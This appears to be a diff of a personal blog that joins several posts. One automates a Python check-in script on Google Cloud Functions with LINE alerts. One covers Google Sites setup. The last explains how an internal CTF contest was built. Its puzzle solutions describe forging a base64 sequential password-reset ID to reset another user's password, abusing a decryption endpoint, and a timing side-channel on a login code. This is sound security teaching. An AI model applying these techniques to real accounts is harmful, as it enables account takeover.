  • 複製下來產生出來的 Token,我們有這組 Token 就能發訊息給使用者。

有了 User Id 跟 Token 之後我們就能發訊息給自己了。

因沒有要做其他功能所以連 python line sdk 都不用裝,直接打 http 發。

串上之前的 Python 腳本後…

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+
import requests
+import json
+
+def main(args):
+    results = {}
+    try:
+      data = { "action" : "checkIn" }
+      headers = { "Cookie" : "PHPSESSID=dafd27784f94904dd586d4ca19d8ae62", 
+      "AuthToken" : "12345",
+      "User-Agent" : "(iPhone12,3;iOS 14.5)"
+      }
+      
+      request = requests.post('https://zhgchg.li/usercenter', data = data, headers = headers)
+      result = json.loads(request.content)
+      if result['status_code'] == 200:
+        sendLineNotification("CheckIn Success!")
+        return "CheckIn Success!"
+      else:
+        sendLineNotification(result['message'])
+        return result['message']
+    except Exception as e:
+      sendLineNotification(str(e))
+      return str(e)
+      
+def sendLineNotification(message):
+    data = {
+        "to" : "這邊帶你的 User ID",
+        "messages" : [
+            {
+                "type" : "text",
+                "text" : message
+            }
+        ]
+    }
+    headers = {
+        "Content-Type" : "application/json",
+        "Authorization" : "這邊帶channel access token"
+    }
+    request = requests.post('https://api.line.me/v2/bot/message/push',json = data, headers = headers)
+

測看看通知有沒有發成功:

Success!

小插曲,通知部分我本來是想用 Gmail SMTP 用信件來發,結果上到 Google Cloud 後發現無法使用…

3. 將 Python 腳本搬到 Google Cloud 上

前面基本的講完了,正式進入本篇重頭戲;將 Python 腳本搬上雲端。

這部分我一開始向中的是 Google Cloud Run 但用了下覺得太複雜,我實際懶得研究,因為我的需求太小用不到這麼多功能;所以 我用的是 Google Cloud Function serverless 方案;實際上比較常用來做的是構建 serverless web 服務。

  • 如果沒使用過 Google Cloud 的朋友,請先前往 主控台 新增好專案&設定好帳單資訊
  • 在專案主控台首頁,資源的地方點擊「Cloud Functions」

  • 上方選擇「建立函式」

  • 輸入基本資訊

⚠️記下「 觸發網址」

區域可選:

  • US-WEST1US-CENTRAL1US-EAST1 可享 Cloud Storage 服務免費額度。
  • asia-east2 (Hong Kong) 靠我們比較近,但需要支付微微的 Cloud Storage 費用。

⚠️建立 Cloud Functions 時會需要 Cloud Storage 寄存程式碼。

⚠️詳細計價方式請參考文末。

觸發條件選: HTTP

驗證: 依需求,我希望我能從外部點連結執行腳本,所以選擇「允許未經驗證的叫用」;如果選擇需要驗證,後續 Scheduler 服務也要做相應設定。

變數、網路及進階設定可在變數中設定變數給 Python 使用(這樣參數有變動就不用改到 Python 程式碼):

在 Python 中調用的方式:

1
+2
+3
+4
+
import os
+
+def main(request):
+  return os.environ.get('test', 'DEFAULT VALUE')
+

其他設定都不需要動,直接「儲存」->「下一步」。

  • 執行階段選「Python 3.x」並將寫好的 Python 腳本貼上,進入點改成「main」

補充 main(args) ,同前述,此項服務比較是用來做 serverless web;所以 args 實際是 Request 物件,你能從其中拿到 http get query 及 http post body 資料,具體方式如下:

1
+2
+
取得 GET Query 資訊:
+request_args = args.args
+

example: ?name=zhgchgli => request_args = [“name”:”zhgchgli”]

1
+2
+
取得 POST Body 資料:
+request_json = request.get_json(silent=True)
+

example: name=zhgchgli => request_json = [“name”:”zhgchgli”]

如果使用 Postman 測試 POST 記得使用「Raw+JSON」POST 資料,否則不會有東西:

  • 程式碼部分 OK 之後,切換到「requirements.txt」輸入有用到的套件依賴:

我們使用「request」這個套件幫我們打 API,此套件不在原生 Python 庫裡面;所以我們要在這裡加上去:

1
+
requests>=2.25.1
+

這邊指定版本 ≥ 2.25.1,也可不指定只輸入 requests 安裝最新版。

  • 都 OK 之後點擊「部署」開始部署。

需要花約 1~3 分鐘的時間等他部署完成。

  • 部署完成後可由前面記下的「 觸發網址 」前去執行查看是否正確運行,或使用「動作」->「測試函式」進行測試

如果出現 500 Internal Server Error 則代表程式有錯,可點擊名稱進入查看「紀錄」,在其中找到原因:

1
+
UnboundLocalError: local variable 'db' referenced before assignment
+
  • 點擊名稱進入後也可按「編輯」修改腳本內容

測試沒問題就完成了!我們已經順利將 Python 腳本搬上雲端。

補充關於變數部分

依照我們的需求,我們需要能有個地方存放、讀取簽到 APP 的 token;因為 token 可能會失效;需要重新要求並寫入共下次執行時使用。

想要從外部動態傳入變數到腳本中有以下方法:

  • [Read Only] 前述所提到的,執行階段環境變數
  • [Temp] Cloud Functions 有提供一個 /tmp 目錄共執行時寫入、讀取檔案,但結束後就會刪除,詳情請參考 官方文件
  • [Read Only] GET/POST 傳送資料
  • [Read Only] 放入附加檔案

在程式中使用相對路徑 ./ 就能讀取到, 僅限讀取無法動態修改 ;要修改只能在控制台這修改&重新部署。

想要可以讀取、動態修改就需要串接其他 GCP 服務,例如:Cloud SQL、Google Storage、Firebase Cloud Firestore…

  • [Read & Write] 這邊我選擇的是 Firebase Cloud Firestore 因為目前只有此方案有免費額度使用。

按照 入門步驟 ,建立好 Firebase 專案後;進入 Firebase 後台:

在左方選單列找到「 Cloud Firestore 」->「 新增集合

輸入集合 ID。

輸入資料內容。

一個集合可以有多個文件,每個文件可以有各自的欄位內容;使用上非常彈性。

在 Python 中使用:

請先到 GCP控制台 -> IAM與管理 -> 服務帳戶 ,按照以下步驟下載身份驗證私鑰文件:

首先選擇帳號:

下方「新增金鑰」->「建立新的金鑰」

選擇「JSON」下載檔案。

將此 JSON 檔案放到同 Python 的專案目錄下。

本地開發環境下:

1
+
pip install --upgrade firebase-admin
+

安裝 firebase-admin 套件。

在 Cloud Functions 上要在 requirements.txt 中多加入 firebase-admin

環境弄好後,可以來讀取我們剛剛新增的數據了:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+
import firebase_admin
+from firebase_admin import credentials
+from firebase_admin import firestore
+
+if not firebase_admin._apps:
+  cred = credentials.Certificate('./身份驗證.json')
+  firebase_admin.initialize_app(cred)
+# 因若重複 initialize_app 會報以下錯誤
+# providing an app name as the second argument. In most cases you only need to call initialize_app() once. But if you do want to initialize multiple apps, pass a second argument to initialize_app() to give each app a unique name.
+# 所以安全起見在 initialize_app 前先檢查是否已 init
+
+db = firestore.client()
+ref = db.collection(u'example') //集合名稱
+stream = ref.stream()
+for data in stream:
+  print("id:"+data.id+","+data.to_dict())
+

如果是在 Cloud Functions 上除了可以把 身份驗證 JSON 檔一起上傳上去,也可以在使用時將連接語法改成以下使用:

1
+2
+3
+4
+5
+6
+
cred = credentials.ApplicationDefault()
+firebase_admin.initialize_app(cred, {
+  'projectId': project_id,
+})
+
+db = firestore.client()
+

如果出現 Failed to initialize a certificate credential. ,請檢查身份驗證 JSON 是否正確。

新增、刪除更多操作請參考 官方文件

4. 在 Google Cloud 設定自動排程

有了腳本之後再來是要讓他自動執行才能達到我們的最終目標。

  • 輸入工作基本資料

執行頻率: 同 crontab 輸入方式,如果你對 crontab 語法不熟,可以直接使用 crontab.guru 這個神器網站

他能很直白的翻譯給你所設定的語法實際意思。(點 next 可查看下次執行時間)

這邊我設定 15 1 * * * ,因為簽到每天只需要執行一次,設在每日凌晨 1:15 執行。

網址部分: 輸入前面記下的「 觸發網址

時區: 輸入「台灣」,選擇台北標準時間

HTTP 方法: 照前面 Python 程式碼我們用 Get 就好

如果前面有設「驗證」 記得展開「SHOW MORE」進行驗證設定。

都填好後 ,按下「 建立 」。

  • 建立成功後可選擇「立即執行」測試一下正不正常。

  • 可查看執行結果、上次執行日期

⚠️ 請注意,執行結果「失敗」僅針對 web status code 是 400~500 或 python 程式有錯誤。

大功告成!

我們已達成將例行任務 Python 腳本上傳到雲端&設定自動排成自動執行的目標。

計價方式

還有一部分很重要,就是計價方式;Google Cloud、Linebot 都不是全免費服務,所以了解收費方式很重要;不然為了一個小小的腳本,付出太多的金錢那不如電腦開著掛著跑哩。

Linebot

參考 官方定價 資訊,一個月 500 則內免費。

Google Cloud Functions

參考 官方定價 資訊,每月有 200 萬次叫用、400,000 GB/秒和 200,000 GHz/秒的運算時間、 5 GB 的網際網路輸出流量。

Google Firebase Cloud Firestore

參考 官方定價 資訊,有 1 GB 大小容量、每月 10 GB 流量、每天 50,000 次讀取、20,000 次寫入/刪除;輕量使用很夠用了!

Google Cloud Scheduler

參考 官方定價 資訊,每個帳號有 3 項免費工作可設定。

對腳本來說以上免費用量就綽綽有餘啦!

Google Cloud Storage 有條件免費

東躲西躲,還是躲不掉可能被收費的服務。

Cloud Functions 建立好之後會自動建立兩個 Cloud Storage 實體:

如果剛剛 Cloud Functions 選擇的是 US-WEST1、US-CENTRAL1 或 US-EAST1 這三個地區則可享有免費使用額度:

我是選擇 US-CENTRAL1 沒錯,可以看到第一個 Cloud Storage 實體的地區是 US-CENTRAL1 沒錯,但第二個是寫 美國多個地區我自已估計這項是會被收費的

參考 官方定價 資訊,依照主機地區不同有不同的價格。

程式碼沒多大,估計應該就是每個月最低收費 0.0X0 元(?

⚠️以上資訊均為 2021/02/21 時撰寫時紀錄,實際以當前價格為主,僅共參考。

計價預算控制通知

just in case…假設真的有狀況超出免費用量開始計價,我希望能收到通知;避免可能程式錯誤暴衝造成帳單金額報表卻渾然不知。。。

  • 前往 主控台
  • 找到「 計費功能 」Card:

點擊「 查看詳細扣款紀錄 」進入。

  • 展開左邊選單,進入「 預算與快訊 」功能

  • 點擊上方「 設定預算

  • 輸入自訂名稱

下一步。

  • 金額,輸入「 目標金額 」,可輸入 $1、$10;我們不希望在小東西上花太。

下一步。

動作這邊可以設定當預算達到多少百分比時會觸發通知。

勾選透過電子郵件將快訊傳送給帳單管理員和使用者 」,這樣當條件處發時就能第一時間收到通知。

點擊「完成」送出儲存。

當預算超過時我們就能馬上就能知道,避免產生更多費用。

總結

人的精力是有限的,現今科技資訊洪流,每個平台每個服務都想要榨取我們有限的精力;如果能透過一些自動化腳本分擔我們的日常生活,聚沙成塔,讓我們省下更多精力專心在重要的事情之上!

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

重灌筆記1-Laravel Homestead + phpMyAdmin 環境建置

揭露一個幾年前發現的巧妙網站漏洞

diff --git a/posts/724a7fb9a364/index.html b/posts/724a7fb9a364/index.html new file mode 100644 index 000000000..1d3b54296 --- /dev/null +++ b/posts/724a7fb9a364/index.html @@ -0,0 +1 @@ + 使用 Google Site 建立個人網站還跟得上時代嗎? | ZhgChgLi
Home 使用 Google Site 建立個人網站還跟得上時代嗎?
Post
Cancel

使用 Google Site 建立個人網站還跟得上時代嗎?

使用 Google Site 建立個人網站還跟得上時代嗎?

新 Google Site 個人網站建立經驗及設定教學

Update 2022–07–17

目前已透過我自己撰寫的 ZMediumToMarkdown 工具將 Medium 文章打包下載並轉換為 Markdown 格式,搬遷到 Jekyll。

[zhgchg.li](http://zhgchg.li){:target="_blank"}

zhgchg.li

===

起源

去年換工作時,很「虛花」的註冊了個 域名 來做個人履歷的導向連結;時隔半年想說讓域名更有用一些能放更多資訊、另一方面也是一直在尋覓第二網站備份 Medium 上已發表的文章,以防有個萬一。

期望功能

  • 可有自訂頁面
  • 跟 Medium 一樣的流暢寫作介面
  • 互動功能(按讚/留言/追蹤)
  • SEO結構好
  • 輕量載入快
  • 能綁定自己的網域
  • 侵入性低 (廣告侵入性、網站標注)
  • 建置容易

架站選擇

  1. 自架 WordPress 很久以前租過主機、網域,使用 WordPress 架過個人網站;從架設到調整到自己喜愛的版面樣式、安裝 Plugin/甚至自己開發缺少的 Plugin 完以後,我已沒有心力寫作,而且覺得很笨重、載入速度/SEO 也不如 Medium,要再繼續花時間調校,那就更沒有寫作的心力了。
  2. Matters/簡書…之類 跟 Medium 平台差不多,因我不考慮盈利方面,不適合。
  3. wix/weebly 太偏商業網站,且免費版侵入性太強
  4. Google Site(本篇)
  5. Github Pages + Jekyll
  6. 還在找 >>> 歡迎提供建議

關於 Google Site

大約 2010 年時有用過舊版的 Google Site,當初拿來做個人網站的 -> 檔案下載中心頁面;印象已有點模糊,只記得那時候的版面很笨重、介面用起來也很不順;事隔 10 年,我本來以為這個服務已經收收掉了,無意間喵到有網域投資者,拿來做域名停泊頁放出售聯絡資訊:

第一眼看到的時候覺得「哇!視覺不錯,居然為了賣網域弄了個頁面」;仔細一下左下角浮標,才發現「哇!居然是 Google Site 建的」,跟我 10 年前用的介面天差地遠,查了一下才知道 Google Site 沒有停止服務,反而在 2016 年推出全新版本,雖然也距今快五年,但至少介面跟得上時代了!

成品展示

什麼都先別說,先來看我做的成品,如果你也「心有靈犀」可以考慮使用看看!

[首頁](https://www.zhgchg.li/home){:target="_blank"}

首頁

[個人簡歷頁](https://www.zhgchg.li/about){:target="_blank"}

個人簡歷頁

[城市一隅(瀑布流相片呈現)](https://www.zhgchg.li/photo){:target="_blank"}

城市一隅(瀑布流相片呈現)

[文章目錄(連回 Medium)](https://www.zhgchg.li/dev/ios){:target="_blank"}

文章目錄(連回 Medium)

[與我聯絡 (內嵌 Google 表單)](https://www.zhgchg.li/contact){:target="_blank"}

與我聯絡 (內嵌 Google 表單)

何不試試?

節省閱讀時間,我 先講結論;我依然在尋找更合適的服務選項 ,雖然他有在持續維護更新功能,但 Google Site 有幾個對我很重要點需求無法滿足,以下列舉我在使用上遇到的致命缺點。

致命缺點

  1. 程式碼高亮功能缺陷 功能只有 Code Block 底色反灰顯示 不會變色,若要嵌入 Gist 只能使用 Embed JavaScript (iframe),但 Google Site 沒有特別處理,高度無法隨頁面縮放進行改變,要馬空白太多、要馬手機小螢幕上會出現裡外兩個 ScrollBar,非常醜也不好閱讀。
  2. SEO 結構基本為零 「驚不驚喜、益不意外?」Google 自己的服務結果 SEO 結構跟💩ㄧ樣,不給客製任何 head meta (description/tag/og:) 先別管 SEO 收錄排名,光把自己的網站貼到 Line/Facebook 等社群,沒有任何預覽資訊,只有醜醜的網址跟網站名稱而已。

優點

1.侵入性低,僅左下會有懸浮驚嘆號點了才會顯示「Google 協作平台 檢舉濫用」

2.介面易用,右邊元件拉一拉就能快速建立頁面

類似 wix/weebly. .or cakeresume? 版面配置、元件拉一拉填一填就完成了!

3. 支援 RWD、內建搜尋、導航列

4.支援 Landing Page

5.流量無特別限制、容量按照創建者的 Google Drive 容量上限

6. 🌟 可綁定自己的網域

7. 🌟 可直接串GA分析訪客

8. 官方社群 會收集意見、持續維護更新

9. 支援公告提示

10. 🌟 無痛完美嵌入 Youtube、Google 表單、Google 簡報、Google 文件、Google 行事曆、 Google 地圖,且支援 RWD 電腦/手機瀏覽

11. 🌟 頁面內容支援 JavaScript/Html/CSS 內嵌

12. 網址乾淨簡潔(http://example.com/頁面名/子頁面名)、頁面路徑名可自訂

13. 🌟 頁面排版有參考線/自動對齊,非常貼心

拖曳元件位置會出現參考對齊線

拖曳元件位置會出現參考對齊線

適用網站

我覺得 Google Site 只適合非常輕量的網頁服務,例如學校社團、小活動的網頁、個人簡歷。

一些設定教學

列舉一些自己在使用上遇到&解決的問題;其他都是所見即所得的操作,沒有什麼好紀錄的。

如何綁定個人網域?

1. 前往 http://google.com/webmasters/verification 2. 點擊「 新增資源 」輸入「 您的網域」 點擊 「繼續」

3. 選擇您的「 網域服務供應商 」複製 「 DNS 設定驗證字串

4. 前往網域服務供應商的網站 (這邊以 Namecheap.com 為例,大同小異)

在 DNS 設定區塊新增一筆紀錄,類型選「 TXT Record 」、主機輸入「 @ 」、值輸入 剛複製的DNS 設定驗證字串 ,按新增送出。

再新增一筆紀錄,類型選「 CNAME Record 」、主機輸入「 www (或你想用的子網域) 」、值輸入「 ghs.googlehosted.com. 」按新增送出。

另外也可多轉址 http://zhgchg.li -> http://www.zhgchg.li

這邊設定完需要稍等一下…等待 DNS 紀錄生效。。。

5. 回到 Google Master 按驗證

若出現 「驗證資源失敗」 別急!請再稍等一下,如果超過 1 小時都還是無法,再回頭檢查一下設定是否有誤。

成功驗證網域所有權

成功驗證網域所有權

6. 回到您的 Google Site 設定頁面

點擊右上角「 齒輪(設定) 」選擇「 自訂網址 」輸入想要指派的網域名稱,或你想用的子網域,按「 指派

指派成功後關閉設定視窗,點擊右上角的「 發布 」發布。

這邊一樣需要稍等一下…等待 DNS 紀錄生效。。。

7. 新開一個瀏覽器輸入網址試試看能不能正常瀏覽

若出現 「網頁無法開啟」 別急!請再稍等一下,如果超過 1 小時都還是無法,再回頭檢查一下設定是否有誤。

完成!

子頁面、頁面路徑設定

再導航列目錄子頁面會自動聚集顯示

再導航列目錄子頁面會自動聚集顯示

如何設定?

右方切換到「頁面」頁籤。

可新增頁面用拖曳的方式拖到現有頁面下就會變成子頁面、或點擊「…」操作。

選擇屬性可自訂頁面路徑。

輸入路徑名稱(EX: dev -> http://www.zhgchg.li/dev)

頁首頁尾設定

1.頁首設定

滑鼠移到導航列,選擇「 新增頁首

新增頁首後滑鼠移到左下角就能變更圖片、輸入標題文字、變更標頭類型

2.頁尾設定

滑鼠移到頁面底部,選擇「 編輯頁尾 」即可輸入頁尾資訊。

注意!頁尾資訊是全站共用的,所有頁面都會套用同樣的內容!

也可點左下角的「眼睛」,控制本頁是否要顯示頁尾資訊

設定網站 favicon 、標頭名稱、圖示

favicon

favicon

網站標題、Logo

網站標題、Logo

如何設定?

點擊右上角「 齒輪(設定) 」選擇「 品牌圖片 」即可設定,設定完別忘了回到頁面按「 發布 」才會生效喔!

隱藏/顯示頁面最後更新資訊、頁面錨點連結提示

最後更新資訊

最後更新資訊

**頁面錨點連結提示**

頁面錨點連結提示

如何設定?

點擊右上角「 齒輪(設定) 」選擇「 檢視者工具 」即可設定,設定完別忘了回到頁面按「 發布 」才會生效喔!

串接 GA 分析流量

1.前往 https://analytics.google.com/analytics/web/?authuser=0#/provision/SignUp 建立新 GA 帳戶

2.建立完成後複製 GA 追蹤 ID

3.回到您的 Google Site 設定頁面

點擊右上角「 齒輪(設定) 」選擇「 分析 」輸入「 GA 追蹤 ID 」即可設定,設定完別忘了回到頁面按「 發布 」才會生效喔!

設定全站/首頁橫幅公告

橫幅公告

橫幅公告

如何設定?

點擊右上角「 齒輪(設定) 」選擇「 公告橫幅 」即可設定,設定完別忘了回到頁面按「 發布 」才會生效喔!

可指定橫幅訊息內容、顏色、按鈕文字、點擊前往連結、是否在新分頁開啟、設定全站 or 僅首頁顯示。

發布設定

右上角「發布 ▾」

右上角「發布 ▾」

可檢查變更內容並發布。

可設定是否讓搜尋引擎收錄及取消每次發布都要先跳檢查內容頁。

嵌入 Javascript/HTML/CSS、大量圖片

Gist 為例

Gist 為例

但如上述致命缺點所說,嵌入 iframe 無法依照網頁大小響應高度。

如何插入?

選「內嵌」

選「內嵌」

選擇嵌入程式碼

選擇嵌入程式碼

可輸入 JavaScript/HTML/CSS,可拿來做自訂樣式的 Button UI。

另外選「圖片」插入可插入多張圖片,會以瀑布流呈現(如上述我的 城市一隅 頁面)。

內嵌的 Google 表單無法在頁面直接填寫?

這個原因是因為表單題目中有「 檔案上傳 」項目, 因瀏覽器安全性問題無法使用 iframe 嵌入在其他頁面中 ;所以會變成只顯示問券資訊然後要點擊填寫按鈕新開視窗前往填寫內容。

解決辦法只有拿掉檔案上傳的問題,就能直接在頁面內進行填寫了。

按鈕元件網址內容不能輸入錨點

EX: #lifesection,我想拿來放頁面上方,做目錄索引瀏覽或頁底做 GoTop 按鈕

查了下官方社群,目前不行,按鈕的連結就只能 1.輸入外部連結在新視窗中開啟或 2. 指定內部頁面,所以我後來用子頁面的方式來拆分目錄了。

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

現實使用 Codable 上遇到的 Decode 問題場景總匯

現實使用 Codable 上遇到的 Decode 問題場景總匯(下)

diff --git a/posts/729d7b6817a4/index.html b/posts/729d7b6817a4/index.html new file mode 100644 index 000000000..31272bf46 --- /dev/null +++ b/posts/729d7b6817a4/index.html @@ -0,0 +1,7 @@ + 如何打造一場有趣的工程CTF競賽 | ZhgChgLi
Home 如何打造一場有趣的工程CTF競賽
Post
Cancel

如何打造一場有趣的工程CTF競賽

如何打造一場有趣的工程CTF競賽

Capture The Flag 競賽建置與題目發想

關於 CTF

Capture The Flag 奪旗簡稱 CTF;是一種源於西方的運動,在現代也常見於漆彈、第一人稱射擊遊戲中;原始概念是分組進行,各組需要保護自己的旗幟不被搶走另一方面也要想辦法得到別組的旗幟;應用在計算機領域就是「入侵攻防戰」首先找到自己的漏洞保護好不被入侵,另一方面製造零時差攻擊從其他隊伍搶奪分數。

以上屬於標準甚至可以說是「進階」的 CTF 比賽方式,要在企業內部Run一場 CTF 比賽還會有其他現實考量:

  1. 舉辦 CTF 比賽的目的除了提升技術能力外還有 促進工程師之間的交流
  2. 工程師各有所長,有Front-End、Back-End、APP、DevOps;若希望大家都能參與,出題方向就不能太針對某個領域(如:網路、PHP)
  3. 分組要能強弱、更領域專長平均分散
  4. 活動時間頂多一個下午
  5. 舉辦 CTF 比賽屬於主要工作業務之外的Side Project,沒有太多的資源跟時間

綜合以上因素,與其說是一場 CTF比賽,不如說是場:

分組解謎累積旗幟積分&促進工程師之間交流的活動

屬於初階的 CTF比賽!

活動目標

  1. 提升工程技術能力
  2. 促進工程師之間交流
  3. 激發大家探索事物的熱忱、敏銳度
  4. 有趣,無趣的事做起來很痛苦

3、4項是我自己加入的,我對這個活動的期望不只是實務面;更希望透過有趣的方式提升大家對探索、學習新事物的熱忱,就如同日常工作一般;不應該只做碼農,而是要想辦法自我突破繼續向前!

比賽規則

  1. 將工程師依照專長、強弱平均分組
  2. 比賽時間:90分鐘
  3. 題目一共出了12題,提供3次花費得分購買提示的機會
  4. 提示購買花費依照時間遞減(越早買越貴)
  5. 每題有基本得分+時間得分(越早解越多)
  6. 選擇開啟某個題目答題後,將鎖定只能回答該提或其他已開啟的題目;直到該提通過或鎖定時間結束 (會有這條規則是因為活動主要希望組員之間能交流一起腦力激盪,而不是分工解題)
  7. 每題分數、提示花費、鎖定時間依照題目難易度各有所不同
  8. 勝利條件:累積得分最高獲勝,若分數一樣則比較解題時間
  9. 獲勝隊伍有$$

如何打造?

活動規則跟目標都釐清之後,再來的重頭戲就是如何打到一場 CTF比賽?

此部分要分兩個章節說明, 第一是打造能進行 CTF比賽的系統第二是 比賽題目的發想

1.打造能進行 CTF比賽的系統

這部分需要具備前端跟後端相關技術才能實作,如果不熟悉就只能請其他同事幫忙囉。

前端: Semantic UI

後端:PHP+json檔儲存資料

因為時間有限,所以比賽系統的部分以簡單穩定快速搭建為主;這邊前端介面直接套用 Semantic UI 這套Framework;後端使用老本行PHP撰寫,無使用Framework,資料儲存部分也直接使用json檔做存放,無使用資料庫;一切從簡,也比較不會有問題(例如有人想攻擊比賽系統直接獲得答案)。

入口頁:

以有趣為出發點,入口頁使用BBC影集Sherlock的梗:

手機解鎖密碼 S H E R

手機解鎖密碼 S H E R

這四格輸入框用來輸入各組得到的識別碼(4位數),例如:輸入第一組:「1432」、第二組:「8421」,用來識別要答題的組別。

至於各組的識別碼這邊我多埋了一個梗,識別碼呈現如下:

有看出來四位數字識別碼了嗎?沒有的話請離螢幕遠一點看看。

…….

……………

…………………

………………………

…………………………….

………………………………….

……………………………. .

……………………….

………………. .

…………

…….

. .

解答:第一組的識別碼是 8291

輸入之後就會進入比賽系統主頁-題目列表:

上方顯示: Team 1 組別、提示券剩餘張數

中間題目區: 題目名稱、描述、通過獲得分數、鎖定時間、購買提示、提示顯示

滑鼠移入會顯示時間分數、提示價格

滑鼠移入會顯示時間分數、提示價格

下方顯示: Total 目前總分

後端及其他邏輯: 題目列表頁每秒會用Ajax跟後端要當前答題狀況,後端讀取、記錄答題狀況在各組的json檔;按解鎖答題時會記錄時間、時間未到無法解鎖其他題目、答題通過寫入完成時間、時間分數、提示價格會依照花費時間遞增遞減。

比賽系統大致上如此,不過重點不在於比賽系統,而是題目本身!

有不有趣、能不能讓所有人參與、有沒有邏輯、新不新奇…真的很難發想

讓我們趕進進入重點吧!

2.比賽題目的發想

首先介紹我所發想的5個題目

1.通往魔法學院的大門

題目說明: 你會得到一串金鑰,要想辦法使用這把鑰匙解出咒語,輸入在咒語輸入框;下方有驗證碼欄位需要輸入,按驗證進行答題。

解答:

本題考的是資安及編碼問題;平台加解密漏洞接口運用,若在網站設計時所有的加密解密都使用同一套方式、同一把鑰匙,我們就能運用這個弱點去解開加密內容得到原始資料!

可以看到驗證碼的部分是 ./image.php?token=AD0HbwdgVDw= 這裡就提供一個解密的接口,所以我們可以試試把上方的加密金鑰帶入:

即可得到解密後的字串:LiveALifeYouWillRemeber

輸入到咒語輸入框後即可通關!

2.請帶我回到1937年的上海!

題目說明: 要想辦法輸入年/月/日送出到後端,讓後端判別成是1937年;年份輸入範圍(1947~2099)無法直接輸入1937年。

解答:

本題旨不在如何繞過前端判斷,因為後端有處理所以無法繞過;本題主要考的是 32位元電腦2038年問題 ,因為位元數限制32位元的timestamp最多只能顯示到2038年1月19日03:14:07,超過將會溢位回到1901年1月1日;因此可以透過往後推算輸入 2073–02–06 到 2074–02–05 都會落在1937年,輸入這範圍的日期後即可傳送成功!

[維基百科](https://zh.wikipedia.org/wiki/2038%E5%B9%B4%E9%97%AE%E9%A2%98#/media/File:Year_2038_problem.gif){:target="_blank"}

維基百科

3.神鬼交鋒

題目說明: 要想辦法收取一個第三方(你無法登入的信箱)的密碼重設信,完成重設別人的密碼。

解答:

本題需要更多的敏銳度,首先先使用自己可以收信的信箱做密碼重設;我們收到的信件如下:

1
+
您的密碼重設連結:http://ctf.zhgchg.li/10/reset.php?requestid=OTk= 如跟您無關聯,無須理會此封信,謝謝!
+

我們可以發現密碼重設請求是透過requestid這個參數去識別,我們得到的值是 OTk= ,看起來是base64?,試試看吧:

[base64 decode and encode](https://www.base64decode.org/){:target="_blank"}

base64 decode and encode

我們可以得到參數的值是99,再重複請求一次密碼重設得到100,因此可以推測密碼重設請求是流水號,下一號就是101,這時再回到原本要繞過的信箱按重設密碼請求,我們就能自行偽造組合出密碼重設連結,進而偷偷重設別人的密碼。

將101 Encode Base64 => MTAx,偽造網址: http://ctf.zhgchg.li/10/reset.php?requestid=MTAx ,隨意輸入密碼後按下密碼重設即可通關!

4.馬甲大師

題目說明: 你需要生出10組Gmail信箱(Gmail託管信箱),收取解答信。

解答:

本題當然可以暴力破解,但公司信箱是不能隨意註冊的;除非找到10個人幫你收信不然無法解答。

本題關鍵是 Gmail信箱/Gmail託管信箱,由於公司信箱是Gmail託管信箱;所以也有Gmail信箱的特性:可以使用「.」、「+」創造出無限的分身信箱,「.」可以放在帳號任意位置、「+」可以放在最後+任何數字

例如:主信箱是 zhgchgli@gmail.com ,但z.hgchgli@gmail.com、zh.gchgli@gmail、zhgchgli+1@gmail.com、zhgchgli+25@gmail.com…都會寄到 zhgchgli@gmail.com 主信箱,一個信箱就能創造出多個身份!

這體主要在提醒大家在做帳號註冊時要多過濾掉這些字符,以免讓有心人利用註冊大量假帳號。

收取完10封信就能組合出解答所在網址,進入網址後即可通關!

5.時間機器

題目說明: 跟第3題神鬼交鋒有點像,要想辦法收取一個第三方(你無法收取簡信)的手機簡訊驗證碼(4位數字),完成登入別人的帳號。

解答:

本題較冷門困難,主要模擬旁路時序攻擊,系統登入驗證包含複雜演算法,在處理驗證資訊時會有時差出現(例如:輸入對1碼處理比較久. .全錯馬上就返回了,很快);透過觀察這些時差我們從 0000 開始一位一位去嘗試,嘗試 2000 時發現處理了一秒,我們可以得知第一位是 2 ;再繼續嘗試 2100 還是一秒, 2200 時又更慢了,變兩秒…再繼續試第三位、第四位最後就能直接獲得解答「 2256

本題只是模擬此種攻擊,後端處理直接用sleep模擬非實際有複雜的演算法,一般在網頁、APP開放上也較少遇到這種攻擊;一放面是處理資訊都不夠複雜到會有明顯時差、另一方面還有網路因素影響,不好判斷。

關於旁路攻擊詳細可參考此篇文章:

[30 分钟理解 CORB 是什么 — 旁路攻击(side-channel attacks)](https://segmentfault.com/a/1190000016126079){:target="_blank"}

30 分钟理解 CORB 是什么 — 旁路攻击(side-channel attacks)

以上是我發想的5題,下面繼續介紹同事們提供的剩下7題題目。

1.貞子出鏡

貞子圖取自網路

貞子圖取自網路

題目說明: 題目就是一張貞子圖,要在上方對話輸入框輸入貞子想說的話,即可通關。

解答:

本題考大家知不知道圖片能塞其他資訊的概念,關鍵在這張圖的原圖:

貞子圖取自網路

貞子圖取自網路

這張圖已經偷偷壓縮一個文字檔在裡面(實際作法請參考: How To Hide A ZIP File Inside An Image On Mac [Quicktip] ,這邊要注意Win/Mac的問題)

所以我們只要簡單的在Commone unzip 這張圖就能獲得通關字串:

在輸入框輸入「YOUHAVENOIDEA」即可通關!

補充:

關於圖片隱藏資訊部分,這邊還有另一種方式,使用「 圖像隱碼術(Steganography)

[圖像隱碼術(Steganography)與惡意程式:原理和方法](https://blog.trendmicro.com.tw/?p=12510){:target="_blank"}

圖像隱碼術(Steganography)與惡意程式:原理和方法

簡單來說就將像素色碼的顏色值做手腳藏資訊,實際圖片已變但肉眼無法分辨出來。

這題怕大家走這個方向,所以也在圖片裡做了隱碼,走這條路的人可以獲得提示:

[Steganography Online](https://stylesuxx.github.io/steganography/){:target="_blank"}

Steganography Online

將圖片上傳至線上隱碼解碼工具即可獲得提示。

2.凱薩大帝的摩斯密碼

素材圖片取自網路

素材圖片取自網路

題目說明: 試解出題目所提供的摩斯密碼所含的意思(一句英文)。

解答:

本題相當直白,第一步就是先解出摩斯密碼代表的英文字母「 VYYXI DN HT GDAZ

[摩斯密碼翻譯器](https://mathsking.net/morse.htm){:target="_blank"}

摩斯密碼翻譯器

然後再做凱薩密碼解密,當我們嘗試到偏移量5時可以得到一句有意義的英文句子「 addcn is my life」,即為答案!

